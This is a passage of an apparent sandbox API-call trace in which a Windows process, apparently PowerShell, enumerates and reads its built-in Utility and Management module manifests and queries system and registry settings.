ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0159.997] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0159.997] FindClose (in: hFindFile=0x3b49e8 | out: hFindFile=0x3b49e8) returned 1 [0159.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea44) returned 1 [0159.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eca4) returned 1 [0159.997] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0160.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0160.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0160.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0160.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0160.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea4c) returned 1 [0160.000] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2742bc8 | out: lpFileInformation=0x2742bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0160.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea48) returned 1 [0160.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0160.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0160.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebb4) returned 1 [0160.001] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x348 [0160.001] GetFileType (hFile=0x348) returned 0x1 [0160.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ebb0) returned 1 [0160.001] GetFileType (hFile=0x348) returned 0x1 [0160.002] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ebf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ebf0*=0) returned 0x0 [0160.002] ReadFile (in: hFile=0x348, lpBuffer=0x27439f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2ec1c, lpOverlapped=0x0 | out: lpBuffer=0x27439f8*, lpNumberOfBytesRead=0x5a2ec1c*=0x982, lpOverlapped=0x0) returned 1 [0160.004] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ebf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ebf0*=0) returned 0x982 [0160.004] ReadFile (in: hFile=0x348, lpBuffer=0x2742f0e, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x5a2ec1c, lpOverlapped=0x0 | out: lpBuffer=0x2742f0e*, lpNumberOfBytesRead=0x5a2ec1c*=0x0, lpOverlapped=0x0) returned 1 [0160.004] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ebf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ebf0*=0) returned 0x982 [0160.004] ReadFile (in: hFile=0x348, lpBuffer=0x27439f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2ec1c, lpOverlapped=0x0 | out: lpBuffer=0x27439f8*, lpNumberOfBytesRead=0x5a2ec1c*=0x0, lpOverlapped=0x0) returned 1 [0160.005] CloseHandle (hObject=0x348) returned 1 [0160.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ecd4) returned 1 [0160.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0160.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0160.007] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\*"), lpFindFileData=0x5a2ea84 | out: lpFindFileData=0x5a2ea84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b49e8 [0160.007] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.007] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 1 [0160.007] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 0 [0160.008] FindClose (in: hFindFile=0x3b49e8 | out: hFindFile=0x3b49e8) returned 1 [0160.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea44) returned 1 [0160.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eca4) returned 1 [0160.008] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0160.008] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.008] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.008] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.008] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea4c) returned 1 [0160.008] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2754334 | out: lpFileInformation=0x2754334*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0160.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea48) returned 1 [0160.009] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.009] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebb4) returned 1 [0160.009] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x348 [0160.009] GetFileType (hFile=0x348) returned 0x1 [0160.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ebb0) returned 1 [0160.010] GetFileType (hFile=0x348) returned 0x1 [0160.010] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ebf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ebf0*=0) returned 0x0 [0160.010] ReadFile (in: hFile=0x348, lpBuffer=0x2755174, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2ec1c, lpOverlapped=0x0 | out: lpBuffer=0x2755174*, lpNumberOfBytesRead=0x5a2ec1c*=0x9e9, lpOverlapped=0x0) returned 1 [0160.013] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ebf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ebf0*=0) returned 0x9e9 [0160.013] ReadFile (in: hFile=0x348, lpBuffer=0x27546f1, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x5a2ec1c, lpOverlapped=0x0 | out: lpBuffer=0x27546f1*, lpNumberOfBytesRead=0x5a2ec1c*=0x0, lpOverlapped=0x0) returned 1 [0160.013] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ebf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ebf0*=0) returned 0x9e9 [0160.014] ReadFile (in: hFile=0x348, lpBuffer=0x2755174, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2ec1c, lpOverlapped=0x0 | out: lpBuffer=0x2755174*, lpNumberOfBytesRead=0x5a2ec1c*=0x0, lpOverlapped=0x0) returned 1 [0160.014] CloseHandle (hObject=0x348) returned 1 [0160.017] CoCreateGuid (in: pguid=0x5a2ed1c | out: pguid=0x5a2ed1c*(Data1=0x210d4898, Data2=0xd6ec, Data3=0x4e6f, Data4=([0]=0xa9, [1]=0x76, [2]=0x63, [3]=0xf8, [4]=0x97, [5]=0x67, [6]=0x2b, [7]=0x60))) returned 0x0 [0160.018] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x348 [0160.018] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x344 [0160.018] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x340 [0160.018] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x33c [0160.018] SetEvent (hEvent=0x33c) returned 1 [0160.019] SetEvent (hEvent=0x348) returned 1 [0160.019] SetEvent (hEvent=0x344) returned 1 [0160.019] SetEvent (hEvent=0x340) returned 1 [0160.019] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x34c [0160.019] SetThreadUILanguage (LangId=0x0) returned 0x409 [0160.021] EtwEventActivityIdControl () returned 0x0 [0160.021] EtwEventActivityIdControl () returned 0x0 [0160.021] EtwEventActivityIdControl () returned 0x0 [0160.031] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0160.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e548) returned 1 [0160.033] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e80c | out: lpFileInformation=0x5a2e80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0160.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e544) returned 1 [0160.034] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0160.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.034] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2e450, Length=0x20, ResultLength=0x5a2e4c0 | out: SystemInformation=0x5a2e450, ResultLength=0x5a2e4c0*=0x0) returned 0xc0000003 [0160.034] GetSystemInfo (in: lpSystemInfo=0x5a2e4cc | out: lpSystemInfo=0x5a2e4cc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0160.035] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e45c | out: phkResult=0x5a2e45c*=0x244) returned 0x0 [0160.035] RegQueryValueExW (in: hKey=0x244, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2e478, lpData=0x0, lpcbData=0x5a2e474*=0x0 | out: lpType=0x5a2e478*=0x0, lpData=0x0, lpcbData=0x5a2e474*=0x0) returned 0x2 [0160.035] RegCloseKey (hKey=0x244) returned 0x0 [0160.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e3d4) returned 1 [0160.036] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x244 [0160.036] GetFileType (hFile=0x244) returned 0x1 [0160.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e3d0) returned 1 [0160.036] GetFileType (hFile=0x244) returned 0x1 [0160.037] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e410*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e410*=0) returned 0x0 [0160.037] ReadFile (in: hFile=0x244, lpBuffer=0x2772190, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e43c, lpOverlapped=0x0 | out: lpBuffer=0x2772190*, lpNumberOfBytesRead=0x5a2e43c*=0x9e9, lpOverlapped=0x0) returned 1 [0160.037] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e410*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e410*=0) returned 0x9e9 [0160.037] ReadFile (in: hFile=0x244, lpBuffer=0x277170d, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x5a2e43c, lpOverlapped=0x0 | out: lpBuffer=0x277170d*, lpNumberOfBytesRead=0x5a2e43c*=0x0, lpOverlapped=0x0) returned 1 [0160.037] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e410*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e410*=0) returned 0x9e9 [0160.037] ReadFile (in: hFile=0x244, lpBuffer=0x2772190, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e43c, lpOverlapped=0x0 | out: lpBuffer=0x2772190*, lpNumberOfBytesRead=0x5a2e43c*=0x0, lpOverlapped=0x0) returned 1 [0160.038] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2e3a4, Length=0x20, ResultLength=0x5a2e414 | out: SystemInformation=0x5a2e3a4, ResultLength=0x5a2e414*=0x0) returned 0xc0000003 [0160.038] GetSystemInfo (in: lpSystemInfo=0x5a2e420 | out: lpSystemInfo=0x5a2e420*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0160.038] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e3b0 | out: phkResult=0x5a2e3b0*=0x234) returned 0x0 [0160.038] RegQueryValueExW (in: hKey=0x234, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2e3cc, lpData=0x0, lpcbData=0x5a2e3c8*=0x0 | out: lpType=0x5a2e3cc*=0x0, lpData=0x0, lpcbData=0x5a2e3c8*=0x0) returned 0x2 [0160.038] RegCloseKey (hKey=0x234) returned 0x0 [0160.039] CloseHandle (hObject=0x244) returned 1 [0160.040] CoCreateGuid (in: pguid=0x5a2e4a0 | out: pguid=0x5a2e4a0*(Data1=0x68a38f3f, Data2=0x2a2b, Data3=0x4f38, Data4=([0]=0x9b, [1]=0x95, [2]=0x42, [3]=0x31, [4]=0x7c, [5]=0x40, [6]=0xad, [7]=0xe4))) returned 0x0 [0160.040] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e200 | out: lpPerformanceCount=0x5a2e200*=3248456130192) returned 1 [0160.041] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0160.041] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0160.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2deec) returned 1 [0160.041] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e1b0 | out: lpFileInformation=0x5a2e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, 